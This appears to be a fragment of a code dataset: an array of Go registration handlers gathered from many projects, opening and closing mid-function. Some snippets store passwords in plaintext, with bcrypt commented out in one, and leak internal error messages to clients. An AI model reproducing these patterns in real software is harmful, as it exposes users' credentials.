statusCode.V(),\n\t}\n\n\tswitch statusCode {\n\tcase constants.Successful:\n\t\temails.SendVerifyEmail(dataResource.Email, code)\n\t\tresponse.Data = \"\"\n\t\tbreak\n\tcase constants.ExitedEmail:\n\t\tresponse.Error = statusCode.T()\n\t\t//if err != nil {\n\t\t//\tresponse.Error = err.Error()\n\t\t//}\n\t\tbreak\n\tcase constants.Error:\n\t\tresponse.Error = statusCode.T()\n\t\t//if err != nil {\n\t\t//\tresponse.Error = err.Error()\n\t\t//}\n\t\tbreak\n\t}\n\n\tdata, err := json.Marshal(response)\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tw.WriteHeader(http.StatusOK)\n\tw.Write(data)\n}","func Register(w http.ResponseWriter, r *http.Request) {\n\tvar t models.User\n\terr := json.NewDecoder(r.Body).Decode((&t))\n\tif err != nil {\n\t\thttp.Error(w, \"Error en los datos recibidos \"+err.Error(), 400)\n\t\treturn\n\t}\n\tif len(t.Email) == 0 {\n\t\thttp.Error(w, \"El email es requerido\", 400)\n\t\treturn\n\t}\n\tif len(t.Password) < 6 {\n\t\thttp.Error(w, \"El password tiene que tener un mínimo de 6 caracteres\", 400)\n\t\treturn\n\t}\n\n\t_, found, _ := bd.CheckUserExist(t.Email)\n\n\tif found {\n\t\thttp.Error(w, \"Usuario ya existe\", 400)\n\t\treturn\n\t}\n\n\t_, status, err := bd.InsertRegister(t)\n\tif err != nil {\n\t\thttp.Error(w, \"Ocurrió un error al momento de registrar usuario\"+err.Error(), 400)\n\t\treturn\n\t}\n\n\tif !status {\n\t\thttp.Error(w, \"Ocurrió un error al momento de registrar usuario\", 400)\n\t\treturn\n\t}\n\n\tw.WriteHeader(http.StatusCreated)\n\n}","func Register(write http.ResponseWriter, request *http.Request) {\n\tvar object models.User\n\terr := json.NewDecoder(request.Body).Decode(&object)\n\tif err != nil {\n\t\thttp.Error(write, \"An error ocurred in user register. \"+err.Error(), 400)\n\t\treturn\n\t}\n\n\t//Validations\n\tif len(object.Email) == 0 {\n\t\thttp.Error(write, \"Email is required.\", 400)\n\t\treturn\n\t}\n\tif len(object.Password) < 6 {\n\t\thttp.Error(write, \"Password invalid, must be at least 6 characters.\", 400)\n\t\treturn\n\t}\n\n\t_, userFounded, _ := bd.CheckExistUser(object.Email)\n\n\tif userFounded {\n\t\thttp.Error(write, \"The email has already been registered.\", 400)\n\t\treturn\n\t}\n\n\t_, status, err := bd.InsertRegister(object)\n\n\tif err != nil {\n\t\thttp.Error(write, \"An error occurred in insert register user.\"+err.Error(), 400)\n\t\treturn\n\t}\n\n\tif !status {\n\t\thttp.Error(write, \"Not insert user register.\"+err.Error(), 400)\n\t\treturn\n\t}\n\n\twrite.WriteHeader(http.StatusCreated)\n}","func Register(ctx *gin.Context) {\n\n\tDB := common.GetDB()\n\n\t//获取数据\n\tname := ctx.PostForm(\"name\")\n\ttelephone := ctx.PostForm(\"tel\")\n\tpassword := ctx.PostForm(\"password\")\n\temail := ctx.PostForm(\"email\")\n\n\t//判断数据\n\tif len(name) == 0 {\n\t\tname = utils.RandString(9)\n\n\t}\n\n\tif len(telephone) != 11 {\n\t\tresponse.Response(ctx, http.StatusUnprocessableEntity, 4221, gin.H{}, \"手机号必须为11位\")\n\t\treturn\n\t}\n\n\tif len(password) < 6 {\n\t\tresponse.Response(ctx, http.StatusUnprocessableEntity, 4222, gin.H{}, \"密码需大于6位\")\n\t\treturn\n\t}\n\n\tif !utils.EmailFormatCheck(email) {\n\t\tresponse.Response(ctx, http.StatusUnprocessableEntity, 4223, gin.H{}, \"email格式错误\")\n\t\treturn\n\t}\n\t//处理数据\n\tvar user model.User\n\tDB.AutoMigrate(&user)\n\n\tif UserExist(DB, telephone) {\n\t\tresponse.Response(ctx, http.StatusUnprocessableEntity, 4224, gin.H{}, \"用户已存在\")\n\t\treturn\n\t}\n\n\thashpassword, err := bcrypt.GenerateFromPassword([]byte(password), bcrypt.DefaultCost)\n\tif err != nil {\n\t\tresponse.Response(ctx, http.StatusInternalServerError, 5001, gin.H{}, \"密码加密错误\")\n\t\treturn\n\t}\n\n\tDB.Create(&model.User{Name: name, Password: string(hashpassword), Telephone: telephone, Email: email})\n\n\tresponse.Success(ctx, gin.H{}, \"ok\")\n\n}","func Register(w http.ResponseWriter, r *http.Request, DB *gorm.DB) {\n\tvar newUser User\n\tvar currentUser User\n\tcreatedResponse := response.JsonResponse(\"Account created successfully, Check your email and verify your email address\", 200)\n\texistsResponse := response.JsonResponse(\"Account already exists. Please register\", 501)\n\terrorResponse := response.JsonResponse(\"An error occured\", 500)\n\treqBody, err := ioutil.ReadAll(r.Body)\n\tjson.Unmarshal(reqBody, &newUser)\n\tDB.Where(\"email = ?\", newUser.Email).First(&currentUser)\n\tif currentUser.Email == \"\" {\n\t\tif err != nil {\n\t\t\tjson.NewEncoder(w).Encode(errorResponse)\n\t\t}\n\t\tpassword := []byte(newUser.Password)\n\t\tnewUser.Password = utils.HashSaltPassword(password)\n\t\t//Sanitize these values so users cannot get higher permissions by setting json values\n\t\tnewUser.IsAdmin = false\n\t\tnewUser.EmailVerified = false\n\t\t//Force FirstName and Last Name to have first character to be uppercase\n\t\tnewUser.FirstName = utils.UppercaseName(newUser.FirstName)\n\t\tnewUser.LastName = utils.UppercaseName(newUser.LastName)\n\t\t//Set VerifyToken for new User\n\t\tnewUser.VerifyToken = randomstring.GenerateRandomString(30)\n\t\t//send token as query params in email in a link\n\t\tparentURL := \"localhost:8080/api/v1/user/verify-email?token=\"\n\t\tverifyURL := parentURL + newUser.VerifyToken\n\t\ttemplate1 := \"

Welcome to paingha.me


\" + \"Verify Email\"\n\t\tfmt.Println(template1)\n\t\tDB.Create(&newUser)\n\t\tw.WriteHeader(http.StatusOK)\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tto := []string{newUser.Email}\n\t\tmailerResponse := mailer.SendMail(to, \"Welcome! Please Verify your Email\", template1)\n\t\tfmt.Println(mailerResponse)\n\t\tjson.NewEncoder(w).Encode(createdResponse)\n\t} else {\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tw.WriteHeader(http.StatusForbidden)\n\t\tjson.NewEncoder(w).Encode(existsResponse)\n\t}\n\n}","func UserRegister(res http.ResponseWriter, req *http.Request) {\n\n\t// get user form from user register form\n\t// insert data to DB\n\t// First step would be Firstname, lastname and password..\n\t/*\n\t* encrypting password from frontend and decrypt at this end...\n\t* Password matching ( re entering)\n\t* Inserting to db ( firstname,lastname,email,password,registered_at)\n\t */\n\n\trequestID := req.FormValue(\"uid\")\n\tfirstName := req.FormValue(\"first_name\")\n\tlastName := req.FormValue(\"last_name\")\n\temail := req.FormValue(\"email\")\n\tpassword := req.FormValue(\"password\")\n\n\tlogs.WithFields(logs.Fields{\n\t\t\"Service\": \"User Service\",\n\t\t\"package\": \"register\",\n\t\t\"function\": \"UserRegister\",\n\t\t\"uuid\": requestID,\n\t\t\"email\": email,\n\t}).Info(\"Received data to insert to users table\")\n\n\t// check user entered same email address\n\thasAccount := Checkmail(email, requestID)\n\n\tif hasAccount != true {\n\n\t\tdb := dbConn()\n\n\t\t// Inserting token to login_token table\n\t\tinsertUser, err := db.Prepare(\"INSERT INTO users (email,first_name,last_name,password) VALUES(?,?,?,?)\")\n\t\tif err != nil {\n\t\t\tlogs.WithFields(logs.Fields{\n\t\t\t\t\"Service\": \"User Service\",\n\t\t\t\t\"package\": \"register\",\n\t\t\t\t\"function\": \"UserRegister\",\n\t\t\t\t\"uuid\": requestID,\n\t\t\t\t\"Error\": err,\n\t\t\t}).Error(\"Couldnt prepare insert statement for users table\")\n\t\t}\n\t\tinsertUser.Exec(email, firstName, lastName, password)\n\n\t\t// Inserting email to emails table\n\n\t\tinsertEmail, err := db.Prepare(\"INSERT INTO emails (email,isActive) VALUES(?,?)\")\n\t\tif err != nil {\n\t\t\tlogs.WithFields(logs.Fields{\n\t\t\t\t\"Service\": \"User Service\",\n\t\t\t\t\"package\": \"register\",\n\t\t\t\t\"function\": \"UserRegister\",\n\t\t\t\t\"uuid\": requestID,\n\t\t\t\t\"Error\": err,\n\t\t\t}).Error(\"Couldnt prepare insert statement for emails table\")\n\t\t}\n\t\tinsertEmail.Exec(email, 1)\n\n\t\t_, err = http.PostForm(\"http://localhost:7070/response\", url.Values{\"uid\": {requestID}, \"service\": {\"User Service\"},\n\t\t\t\"function\": {\"UserRegister\"}, \"package\": {\"Register\"}, \"status\": {\"1\"}})\n\n\t\tif err != nil {\n\t\t\tlog.Println(\"Error response sending\")\n\t\t}\n\n\t\tdefer db.Close()\n\t\treturn\n\t} // user has an account\n\n\tlogs.WithFields(logs.Fields{\n\t\t\"Service\": \"User Service\",\n\t\t\"package\": \"register\",\n\t\t\"function\": \"UserRegister\",\n\t\t\"uuid\": requestID,\n\t\t\"email\": email,\n\t}).Error(\"User has an account for this email\")\n\n\t_, err := http.PostForm(\"http://localhost:7070/response\", url.Values{\"uid\": {requestID}, \"service\": {\"User Service\"},\n\t\t\"function\": {\"sendLoginEmail\"}, \"package\": {\"Check Email\"}, \"status\": {\"0\"}})\n\n\tif err != nil {\n\t\tlog.Println(\"Error response sending\")\n\t}\n}","func Register (w http.ResponseWriter, r *http.Request) {\n\tw.Header().Set(\"content-type\", \"application/json\")\n\n\tvar user models.User\n\tvar res models.ResponseResult\n\n\tbody, _ := ioutil.ReadAll(r.Body)\n\terr := json.Unmarshal(body, &user)\n\n\tif err != nil {\n\t\tres.Error = err.Error()\n\t\t_ = json.NewEncoder(w).Encode(res)\n\t\treturn\n\t}\n\n\tif msg, validationResult := user.Valid(); !validationResult {\n\t\tres.Error = msg\n\t\t_ = json.NewEncoder(w).Encode(res)\n\t\treturn\n\t}\n\n\n\thash, err := bcrypt.GenerateFromPassword([]byte(user.Password), 10)\n\tif err != nil {\n\t\tre := models.ResponseError{\n\t\t\tCode: constants.ErrCodeHashError,\n\t\t\tMessage: constants.MsgHashError,\n\t\t\tOriginalError: err,\n\t\t}\n\t\tres.Error = re\n\t\t_ = json.NewEncoder(w).Encode(res)\n\t\treturn\n\t}\n\n\tuser.Password = string(hash)\n\t_, err = models.InsertOne(models.UserCollection, user)\n\n\tif err != nil {\n\t\tre := models.ResponseError{\n\t\t\tCode: constants.ErrCodeInsertOne,\n\t\t\tMessage: strings.Replace(constants.MsgErrorInsertOne, \"%COLLECTION%\", models.UserCollection, -1),\n\t\t\tOriginalError: err,\n\t\t}\n\t\tres.Error = re\n\t\t_ = json.NewEncoder(w).Encode(res)\n\t\treturn\n\t}\n\n\tres.Error = false\n\tres.Result = strings.Replace(constants.MsgSuccessInsertedOne, \"%COLLECTION%\", models.UserCollection, -1)\n\t_ = json.NewEncoder(w).Encode(res)\n\n\treturn\n\n}","func registerAction(w http.ResponseWriter, r *http.Request) {\n\n\tif r.Method == \"POST\" {\n\n\t\tdb, err := config.GetMongoDB()\n\n\t\tif err != nil {\n\t\t\tfmt.Println(\"Gagal menghubungkan ke database!\")\n\t\t\tos.Exit(2)\n\t\t}\n\n\t\tif r.FormValue(\"fullname\") == \"\" {\n\n\t\t\tmsg := []byte(\"full_name_empty\")\n\n\t\t\tcomponents.SetFlashMessage(w, \"message\", msg)\n\n\t\t\thttp.Redirect(w, r, \"/register\", 301)\n\n\t\t} else if r.FormValue(\"email\") == \"\" {\n\t\t\tmsg := []byte(\"email_empty\")\n\n\t\t\tcomponents.SetFlashMessage(w, \"message\", msg)\n\n\t\t\thttp.Redirect(w, r, \"/register\", 301)\n\t\t} else if r.FormValue(\"password\") == \"\" {\n\t\t\tmsg := []byte(\"password_empty\")\n\n\t\t\tcomponents.SetFlashMessage(w, \"message\", msg)\n\n\t\t\thttp.Redirect(w, r, \"/register\", 301)\n\t\t} else if components.ValidateFullName(r.FormValue(\"fullname\")) == false {\n\t\t\tmsg := []byte(\"full_name_error_regex\")\n\n\t\t\tcomponents.SetFlashMessage(w, \"message\", msg)\n\n\t\t\thttp.Redirect(w, r, \"/register\", 301)\n\t\t} else if components.ValidateEmail(r.FormValue(\"email\")) == false {\n\t\t\tmsg := []byte(\"email_error_regex\")\n\n\t\t\tcomponents.SetFlashMessage(w, \"message\", msg)\n\n\t\t\thttp.Redirect(w, r, \"/register\", 301)\n\t\t} else if components.ValidatePassword(r.FormValue(\"password\")) == false {\n\t\t\tmsg := []byte(\"password_error_regex\")\n\n\t\t\tcomponents.SetFlashMessage(w, \"message\", msg)\n\n\t\t\thttp.Redirect(w, r, \"/register\", 301)\n\t\t} else {\n\n\t\t\tvar userRepository repository.UserRepository\n\n\t\t\tuserRepository = repository.NewUserRepositoryMongo(db, \"pengguna\")\n\n\t\t\tmakeID := uuid.NewV1()\n\n\t\t\thashedPassword, _ := components.HashPassword(r.FormValue(\"password\"))\n\n\t\t\tvar userModel model.User\n\n\t\t\tuserModel.ID = makeID.String()\n\n\t\t\tuserModel.FullName = r.FormValue(\"fullname\")\n\n\t\t\tuserModel.Email = r.FormValue(\"email\")\n\n\t\t\tuserModel.Password = hashedPassword\n\n\t\t\terr = userRepository.Insert(&userModel)\n\n\t\t\tif err != nil {\n\t\t\t\tmsg := []byte(\"register_error\")\n\n\t\t\t\tcomponents.SetFlashMessage(w, \"message\", msg)\n\n\t\t\t\thttp.Redirect(w, r, \"/register\", 301)\n\t\t\t} else {\n\t\t\t\tmsg := []byte(\"register_success\")\n\n\t\t\t\tcomponents.SetFlashMessage(w, \"message\", msg)\n\n\t\t\t\thttp.Redirect(w, r, \"/register\", 301)\n\t\t\t}\n\t\t}\n\t} else {\n\t\terrorHandler(w, r, http.StatusNotFound)\n\t}\n}","func Register(w http.ResponseWriter, r *http.Request) {\n\n\tmessages := make([]string, 0)\n\ttype MultiErrorMessages struct {\n\t\tMessages []string\n\t}\n\n\t//Get Formdata\n\tusername := r.FormValue(\"username\")\n\tpassword := r.FormValue(\"password\")\n\temailadress := r.FormValue(\"email\")\n\trepeatPassword := r.FormValue(\"repeatpassword\")\n\n\t//Check Password\n\tif password != repeatPassword {\n\n\t\t//Add error Message\n\t\tmessages = append(messages, \"Passwort ist nicht richtig wiedeholt worden.\")\n\n\t}\n\n\t//Check Email\n\temail, err := mail.ParseAddress(emailadress)\n\tif err != nil || !strings.Contains(email.Address, \".\") {\n\n\t\t//Add error Message\n\t\tmessages = append(messages, \"Dies ist keine gültige Emailadresse.\")\n\n\t}\n\n\t//Fill Model\n\tuser := model.User{}\n\tuser.Name = username\n\tuser.Password = password\n\tuser.Email = emailadress\n\tuser.Type = \"User\"\n\n\t//Try and check Creating User\n\terr = user.CreateUser()\n\tif err != nil {\n\n\t\t//Write Data\n\t\tmessages = append(messages, err.Error())\n\n\t}\n\n\t//Check if any Error Message was assembled\n\tif len(messages) != 0 {\n\n\t\tresponseModel := MultiErrorMessages{\n\t\t\tMessages: messages,\n\t\t}\n\n\t\tresponseJSON, err := json.Marshal(responseModel)\n\t\tif err != nil {\n\n\t\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\t\tw.Write([]byte(err.Error()))\n\n\t\t}\n\n\t\tw.Header().Set(\"Content-Type\", \"application/json; charset=UTF-8\")\n\t\tw.WriteHeader(http.StatusConflict)\n\t\tw.Write(responseJSON)\n\t\treturn\n\t}\n\n\t//Hash Username\n\tmd5HashInBytes := md5.Sum([]byte(user.Name))\n\tmd5HashedUsername := hex.EncodeToString(md5HashInBytes[:])\n\n\t//Create Session\n\tsession, _ := store.Get(r, \"session\")\n\tsession.Values[\"authenticated\"] = true\n\tsession.Values[\"username\"] = username\n\tsession.Values[\"hashedusername\"] = md5HashedUsername\n\tsession.Save(r, w)\n\n\t//Write Respone\n\thttp.Redirect(w, r, \"/users?action=userdata\", http.StatusFound)\n}","func HandleRegister(w http.ResponseWriter, r *http.Request) {\n\terr := r.ParseForm()\n\tif err != nil {\n\t\tServeInternalServerError(w, r)\n\t\treturn\n\t}\n\tbody := RegisterFormValues{}\n\tdecoder := schema.NewDecoder()\n\terr = decoder.Decode(&body, r.PostForm)\n\tif err != nil {\n\t\tServeInternalServerError(w, r)\n\t\treturn\n\t}\n\n\tacc1 := data.Account{}\n\tacc1.Name = body.Name\n\tacc1.Handle = body.Handle\n\tacc1.University = body.University\n\tacc1.Country = body.Country\n\n\th := []byte(acc1.Handle)\n\tre := regexp.MustCompile(`[^[:word:]]`)\n\tm := re.Match(h)\n\tif m {\n\t\tServeHandlePatternNotMatch(w, r)\n\t\treturn\n\t}\n\n\tswitch {\n\tcase len(acc1.Name) < 5:\n\t\tServeNameShort(w, r)\n\t\treturn\n\tcase len(acc1.Handle) < 3:\n\t\tServeHandleShort(w, r)\n\t\treturn\n\tcase len(acc1.University) < 2:\n\t\tServeUniversityShort(w, r)\n\t\treturn\n\tcase len(acc1.Country) < 2:\n\t\tServeCountryShort(w, r)\n\t\treturn\n\t}\n\n\tae, err := data.NewAccountEmail(body.Email)\n\tif err != nil {\n\t\tServeInvalidEmail(w, r)\n\t\treturn\n\t}\n\tacc1.Emails = append(acc1.Emails, ae)\n\n\tap, err := data.NewAccountPassword(body.Password)\n\tif err != nil {\n\t\tServeInternalServerError(w, r)\n\t\treturn\n\t}\n\tacc1.Password = ap\n\n\tif acc1.IsDup() {\n\t\tServeHandleOREmailDuplicate(w, r)\n\t\treturn\n\t}\n\n\terr = acc1.Put()\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\tServeInternalServerError(w, r)\n\t\treturn\n\t}\n\n\thttp.Redirect(w, r, \"/tasks\", http.StatusSeeOther)\n}","func Register(r * http.Request, response * APIResponse) {\n\tif AllowsRegister {\n\t\tif r.FormValue(\"username\") != \"\" && r.FormValue(\"password\") != \"\" && r.FormValue(\"name\") != \"\" {\n\t\t\tusername := r.FormValue(\"username\")\n\t\t\tpassword := r.FormValue(\"password\")\n\t\t\trealName := r.FormValue(\"name\")\n\t\t\tif len(password) > 5 && userNameIsValid(username) && nameIsValid(realName) {\n\t\t\t\tif !UserForUserNameExists(username) {\n\t\t\t\t\t//The password is acceptable, the username is untake and acceptable\n\t\t\t\t\t//Sign up user\n\t\t\t\t\tuser := User{}\n\t\t\t\t\tuser.Username = username\n\t\t\t\t\tuser.HashedPassword = hashString(password)\n\t\t\t\t\tuser.UserImageURL = \"userImages/default.png\"\n\t\t\t\t\tuser.RealName = realName\n\t\t\t\t\tAddUser(&user)\n\t\t\t\t\n\t\t\t\t\t//Log the user in\n\t\t\t\t\tLogin(r, response)\n\t\t\t\t} else {\n\t\t\t\t\tresponse.Message = \"Username already taken\"\n\t\t\t\t\te(\"API\", \"Username already taken\")\n\t\t\t\t\tresponse.SuccessCode = 400\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tresponse.Message = \"Values do not meet requirements\"\n\t\t\t\te(\"API\", \"Password is too short or username is invalid\")\n\t\t\t\tresponse.SuccessCode = 400\n\t\t\t}\n\t\t} else {\n\t\t\tresponse.Message = \"More information required\"\n\t\t\te(\"API\", \"Couldn't register user - not enough detail\")\n\t\t\tresponse.SuccessCode = 400\n\t\t}\n\t} else {\n\t\tresponse.SuccessCode = 400\n\t\tresponse.Message = \"Server doesn't allow registration\"\n\t}\n}","func Register(w http.ResponseWriter, r *http.Request) {\n\n\tPrintln(\"Endpoint Hit: Register\")\n\n\tvar response struct {\n\t\tStatus bool\n\t\tMessage string\n\t}\n\n\t// reqBody, _ := ioutil.ReadAll(r.Body)\n\t// var register_user models.Pet_Owner\n\t// json.Unmarshal(reqBody, &register_user)\n\n\t// email := register_user.Email\n\t// password := register_user.Password\n\t// name := register_user.Name\n\n\t//BIKIN VALIDATION\n\n\temail := r.FormValue(\"email\")\n\tpassword := r.FormValue(\"password\")\n\tname := r.FormValue(\"name\")\n\n\tif len(name) == 0 {\n\t\tmessage := \"Ada Kolom Yang Kosong\"\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tw.WriteHeader(200)\n\t\tresponse.Status = false\n\t\tresponse.Message = message\n\t\tjson.NewEncoder(w).Encode(response)\n\t\treturn\n\t}\n\n\tif _, status := ValidateEmail(email); status != true {\n\t\tmessage := \"Format Email Kosong atau Salah\"\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tw.WriteHeader(200)\n\t\tresponse.Status = false\n\t\tresponse.Message = message\n\t\tjson.NewEncoder(w).Encode(response)\n\t\treturn\n\t}\n\n\tif _, status := ValidatePassword(password); status != true {\n\t\tmessage := \"Format Password Kosong atau Salah, Minimal 6 Karakter\"\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tw.WriteHeader(200)\n\t\tresponse.Status = false\n\t\tresponse.Message = message\n\t\tjson.NewEncoder(w).Encode(response)\n\t\treturn\n\t}\n\n\t//cek apakah email user sudah ada di database\n\t//query user dengan email tersebut\n\tstatus, _ := QueryUser(email)\n\n\t// kalo status false , berarti register\n\t// kalo status true, berarti print email terdaftar\n\n\tif status {\n\t\tmessage := \"Email sudah terdaftar\"\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tw.WriteHeader(200)\n\t\tresponse.Status = false\n\t\tresponse.Message = message\n\t\tjson.NewEncoder(w).Encode(response)\n\t\treturn\n\n\t} else {\n\t\t// hashedPassword, err := bcrypt.GenerateFromPassword([]byte(password), bcrypt.MinCost)\n\t\thashedPassword := password\n\t\tRole := 1\n\n\t\t// Println(hashedPassword)\n\t\tif len(hashedPassword) != 0 && checkErr(w, r, err) {\n\t\t\tstmt, err := db.Prepare(\"INSERT INTO account (Email, Name, Password, Role) VALUES (?,?,?,?)\")\n\t\t\tif err == nil {\n\t\t\t\t_, err := stmt.Exec(&email, &name, &hashedPassword, &Role)\n\t\t\t\tif err != nil {\n\t\t\t\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tmessage := \"Register Succesfull\"\n\t\t\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\t\t\tw.WriteHeader(200)\n\t\t\t\tresponse.Status = true\n\t\t\t\tresponse.Message = message\n\t\t\t\tjson.NewEncoder(w).Encode(response)\n\t\t\t\treturn\n\t\t\t}\n\t\t} else {\n\t\t\tmessage := \"Registration Failed\"\n\t\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\t\tw.WriteHeader(200)\n\t\t\tresponse.Status = false\n\t\t\tresponse.Message = message\n\t\t\tjson.NewEncoder(w).Encode(response)\n\n\t\t}\n\t}\n}","func Register(w http.ResponseWriter, r *http.Request){\n\tvar user models.User\n\terr := json.NewDecoder(r.Body).Decode(&user)\n\t\n\tif err != nil {\n\t\thttp.Error(w, \"Error en los datos recibidos: \" + err.Error(), 400)\n\t\treturn\n\t}\n\n\tif len(user.Email) == 0 {\n\t\thttp.Error(w, \"El email es requerido.\", 400)\n\t\treturn\n\t}\n\n\tif len(user.Password) < 6 {\n\t\thttp.Error(w, \"La contraseña debe ser de al menos 6 caractéres.\", 400)\n\t\treturn\n\t}\n\n\t_, found, _ := db.UserExist(user.Email)\n\n\tif found == true {\n\t\thttp.Error(w, \"El usuario ya existe.\", 400)\n\t\treturn\n\t}\n\n\t_, status, err := db.Register(user)\n\n\tif err != nil {\n\t\thttp.Error(w, \"nN se pudo realizar el registro: \" + err.Error(), 500)\n\t\treturn\n\t}\n\n\tif status == false {\n\t\thttp.Error(w, \"No se pudo realizar el registro\", 500)\n\t\treturn\n\t}\n\n\tw.WriteHeader(http.StatusCreated)\n}","func (self *server) regist(w http.ResponseWriter, r *http.Request) {\n\tvar (\n\t\terr error\n\t\ttoken string\n\t\tac entity.Account\n\t)\n\n\tac.IP = extension.GetRealIP(r)\n\n\tdefer r.Body.Close()\n\tif err = json.NewDecoder(r.Body).Decode(&ac); err != nil {\n\t\tgoto FAILED\n\t}\n\n\tif err = validate.Account(ac.Account, true); err != nil {\n\t\tgoto FAILED\n\t}\n\tif err = validate.Password(ac.Password, true); err != nil {\n\t\tgoto FAILED\n\t}\n\tif err = validate.Mobile(ac.Mobile, false); err != nil {\n\t\tgoto FAILED\n\t}\n\tif err = validate.Email(ac.Email, false); err != nil {\n\t\tgoto FAILED\n\t}\n\n\t// todo: check account conflict in redis\n\n\t// todo: check ip risk in redis\n\n\tac.Password = crypt.EncryptPwd(ac.Password)\n\tif err = self.db.Reg(self.ctx, &ac); err != nil {\n\t\tgoto FAILED\n\t}\n\n\ttoken = crypt.NewToken(fmt.Sprintf(\"%d\", ac.ID), ac.IP, constant.TokenTimeout, constant.PrivKey)\n\t// err = crypt.ValidateToken(fmt.Sprintf(\"%d\", a.ID), token, ip, constant.PrivKey)\n\tw.Write([]byte(fmt.Sprintf(`{\"id\":%d,\"account\":\"%s\",\"token\":\"%s\"}`, ac.ID, ac.Account, token)))\n\tself.log.Trace(\"regist %s@%s successed\", ac.Account, ac.IP)\n\treturn\n\nFAILED:\n\tw.Write([]byte(fmt.Sprintf(`{\"code\":100, \"msg\":\"%s\"}`, err)))\n\tself.log.Trace(\"regist %s@%s failed: %s\", ac.Account, ac.IP, err)\n}","func (serv *Server) RegisterUser(creds Credentials) (err error) {\n row := serv.db.QueryRow(\"select uid from users where username = ?;\", creds.Username)\n\n var uid int\n if row.Scan(&uid) == sql.ErrNoRows {\n salt := make([]byte, SaltLength)\n rand.Read(salt)\n\n saltedHash, err := HashAndSaltPassword([]byte(creds.Password), salt)\n if err != nil {\n return err\n }\n\n _, err = serv.db.Exec(\n `insert into users (username, salt, saltedhash) values (?, ?, ?);`,\n creds.Username, salt, saltedHash)\n\n if err != nil {\n err = ErrRegistrationFailed\n }\n } else {\n err = ErrUsernameTaken\n }\n\n return\n}","func Register(w http.ResponseWriter, r *http.Request) {\n\n\tif r.Method == http.MethodGet {\n\t\tfmt.Println(\"http:GET:Register\")\n\t\tsession, _ := auth.GetCookieStore().Get(r, auth.GetSessionCookie())\n\t\tif e := session.Values[auth.USER_COOKIE_AUTH]; e != nil && e.(bool) {\n\t\t\thttp.Redirect(w, r, \"/login\", http.StatusFound)\n\t\t\treturn\n\t\t}\n\n\t}\n\n\tif r.Method == http.MethodPost {\n\t\tm := make(map[string]interface{})\n\t\tfmt.Println(\"http:POST:Register\")\n\t\te := r.FormValue(query.USER_EMAIL_ADDRESS)\n\n\t\tex, _, err := model.Check_User_By_Email(e, \"\")\n\t\tif ex || err != nil {\n\t\t\tm[query.SUCCESS] = false\n\t\t\tb, _ := json.MarshalIndent(m, \"\", \" \")\n\t\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\t\tw.Write(b)\n\t\t\treturn\n\t\t}\n\n\t\tu, err := model.CreateUserEP(e, \"\")\n\t\tu.SendWelcomeEmail()\n\n\t\tif err != nil {\n\t\t\tprintln(err)\n\t\t}\n\t\tu.StoreUser()\n\n\t\tm[query.SUCCESS] = true\n\t\tb, _ := json.MarshalIndent(m, \"\", \" \")\n\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tw.Write(b)\n\t\treturn\n\t}\n}","func (uh *UserHandler) Register(w http.ResponseWriter, r *http.Request) {\n\n\tvar userHolder *entity.User\n\tvar password string\n\n\tif r.Method == http.MethodGet {\n\t\tuh.CSRF, _ = stringTools.GenerateRandomBytes(30)\n\t\ttoken, err := stringTools.CSRFToken(uh.CSRF)\n\t\tif err != nil {\n\t\t\thttp.Error(w, http.StatusText(http.StatusInternalServerError), http.StatusInternalServerError)\n\t\t}\n\t\tinputContainer := InputContainer{CSRF: token}\n\t\tuh.Temp.ExecuteTemplate(w, \"SignUp.html\", inputContainer)\n\t\treturn\n\t}\n\n\tif r.Method == http.MethodPost {\n\n\t\tthirdParty := r.FormValue(\"thirdParty\")\n\t\tvar identification entity.Identification\n\t\tfirstname := r.FormValue(\"firstname\")\n\t\tlastname := r.FormValue(\"lastname\")\n\t\temail := r.FormValue(\"email\")\n\t\tidentification.ConfirmPassword = r.FormValue(\"confirmPassword\")\n\n\t\tif thirdParty == \"true\" {\n\n\t\t\tif r.FormValue(\"serverAUT\") != ServerAUT {\n\t\t\t\thttp.Error(w, \"Invalid server key\", http.StatusBadRequest)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tidentification.From = r.FormValue(\"from\")\n\t\t\tidentification.TpFlag = true\n\t\t} else {\n\t\t\tpassword = r.FormValue(\"password\")\n\t\t\tidentification.ConfirmPassword = r.FormValue(\"confirmPassword\")\n\t\t}\n\n\t\t// Validating CSRF Token\n\t\tcsrfToken := r.FormValue(\"csrf\")\n\t\tok, errCRFS := stringTools.ValidCSRF(csrfToken, uh.CSRF)\n\n\t\tuserHolder = entity.NewUserFR(firstname, lastname, email, password)\n\t\terrMap := uh.UService.Verification(userHolder, identification)\n\t\tif !ok || errCRFS != nil {\n\t\t\tif len(errMap) == 0 {\n\t\t\t\terrMap = make(map[string]string)\n\t\t\t}\n\t\t\terrMap[\"csrf\"] = \"Invalid token used!\"\n\t\t}\n\t\tif len(errMap) > 0 {\n\t\t\tuh.CSRF, _ = stringTools.GenerateRandomBytes(30)\n\t\t\ttoken, _ := stringTools.CSRFToken(uh.CSRF)\n\t\t\tinputContainer := InputContainer{Error: errMap, CSRF: token}\n\t\t\tuh.Temp.ExecuteTemplate(w, \"SignUp.html\", inputContainer)\n\t\t\treturn\n\t\t}\n\n\t\tif identification.TpFlag {\n\n\t\t\tnewSession := uh.configSess()\n\t\t\tclaims := stringTools.Claims(email, newSession.Expires)\n\t\t\tsession.Create(claims, newSession, w)\n\t\t\t_, err := uh.SService.StoreSession(newSession)\n\n\t\t\tif err != nil {\n\t\t\t\thttp.Error(w, http.StatusText(http.StatusInternalServerError), http.StatusInternalServerError)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\thttp.Redirect(w, r, \"/Dashboard\", 